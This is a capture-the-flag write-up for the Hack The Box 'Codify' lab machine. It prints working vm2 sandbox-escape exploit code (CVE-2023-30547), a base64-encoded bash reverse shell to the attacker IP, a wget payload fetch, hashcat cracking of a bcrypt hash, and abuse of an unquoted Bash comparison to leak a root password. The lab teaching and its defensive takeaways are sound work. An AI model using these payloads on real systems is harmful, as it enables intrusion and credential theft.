Machine: Codify
Difficulty: Easy
OS: Linux
Lab Link: https://app.hackthebox.com/machines/574

TL;DR

Exploited vm2 sandbox escape vulnerability (CVE-2023-30547) in Node.js application to gain initial foothold. Extracted bcrypt hash from SQLite database and cracked it for SSH access. Escalated privileges by exploiting vulnerable Bash script with pattern matching vulnerability to leak root MySQL password.


Network Enumeration

Target IP: 10.129.25.177
Attacker IP: 10.10.14.92


nmap -sCV 10.129.25.177 -oA codify_scan

Open Ports:

  • 22/tcp - OpenSSH 8.9p1 Ubuntu
  • 80/tcp - Apache httpd 2.4.52
  • 3000/tcp - Node.js Express framework
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add to /etc/hosts:


echo "10.129.25.177 codify.htb" >> /etc/hosts

Hosts file configuration

Web Enumeration

Navigating to http://codify.htb reveals a Node.js code testing platform.

Code testing page

The application allows users to test Node.js code in a sandboxed environment. This suggests potential sandbox escape vulnerabilities.

Sandbox Environment Detection

Test various sandbox modules to identify the environment:

Common sandbox types

Testing vm2:


require('vm2')

vm2 detected

vm2 output

Success! The vm2 module is loaded.

Check version:


const version = require("vm2/package.json").version;
console.log(version)

Version 3.9.16

Version output

Detected: vm2 version 3.9.16

Initial Access

CVE-2023-30547 - vm2 Sandbox Escape

vm2 versions < 3.9.17 are vulnerable to arbitrary code execution due to improper exception sanitization. Attackers can trigger a host exception within handleException() to escape the sandbox and execute arbitrary code.

Exploit Reference: https://github.com/rvizx/CVE-2023-30547

Exploit code:

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}

Test command execution:

Replace 'whoami' with various commands to verify RCE as the svc user.

Reverse Shell

Prepare Base64-encoded reverse shell:


echo 'bash -i >& /dev/tcp/10.10.14.92/4444 0>&1' | base64

Payload:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45Mi80NDQ0IDA+JjE=

Execute in code editor:

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45Mi80NDQ0IDA+JjE= | base64 -d | bash');
}

Reverse shell payload

Start listener:


penelope -i 10.10.14.92 4444

Shell caught

Success! Shell obtained as svc user.

Lateral Movement

Database Discovery

The svc user has limited privileges. Enumerate the web root for sensitive files.

Navigate to web application directory:


cd /var/www/contact
ls -la

Found: tickets.db (SQLite database)


sqlite3 tickets.db
.tables
SELECT * FROM users;

Joshua credentials

Extracted hash:

joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Password Cracking

Hash type: bcrypt (mode 3200)


echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Cracked password

Credentials obtained:

  • Username: joshua
  • Password: spongebob1

SSH Access

Success! User flag obtained.

Privilege Escalation

Sudo Permission Discovery


sudo -l

Sudo output

Finding: Joshua can run /opt/scripts/mysql-backup.sh as root without password.

Script Analysis


cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Vulnerability: Pattern matching in password comparison.

The line if [[ $DB_PASS == $USER_PASS ]] uses pattern matching because the right-side variable is unquoted. This allows wildcard matching:

  • Using * as password matches ANY string
  • The script will execute successfully

Additionally: The mysql command reveals the password in process list, which can be captured with process monitoring tools.

Password Extraction with pspy

Transfer pspy64s to target:

On attacker machine:


python -m http.server 80

HTTP server

On target:


cd /tmp
wget http://10.10.14.92/pspy64s
chmod +x pspy64s
./pspy64s

pspy upload

In another terminal, run the backup script:


sudo /opt/scripts/mysql-backup.sh

Enter: * (asterisk) when prompted for password

Script execution

Check pspy output:

Leaked credentials

Root MySQL password found: kljh12k3jhaskjh12kjh3

Root Access


su root

Password: kljh12k3jhaskjh12kjh3

Root access

🎉 Root flag obtained! Machine pwned!


Key Takeaways

  1. vm2 Vulnerability (CVE-2023-30547) - Sandbox escape through exception handling flaw
  2. SQLite Database Exposure - Web application databases often contain sensitive credentials
  3. Bash Pattern Matching - Unquoted variables in [[ ]] comparisons enable wildcard attacks
  4. Process Monitoring - Command-line arguments can leak sensitive information
  5. Defense Recommendations:
    • Update vm2 to version >= 3.9.17
    • Properly quote variables in Bash comparisons
    • Avoid passing credentials as command-line arguments
    • Implement proper database access controls
    • Use environment variables or secure credential stores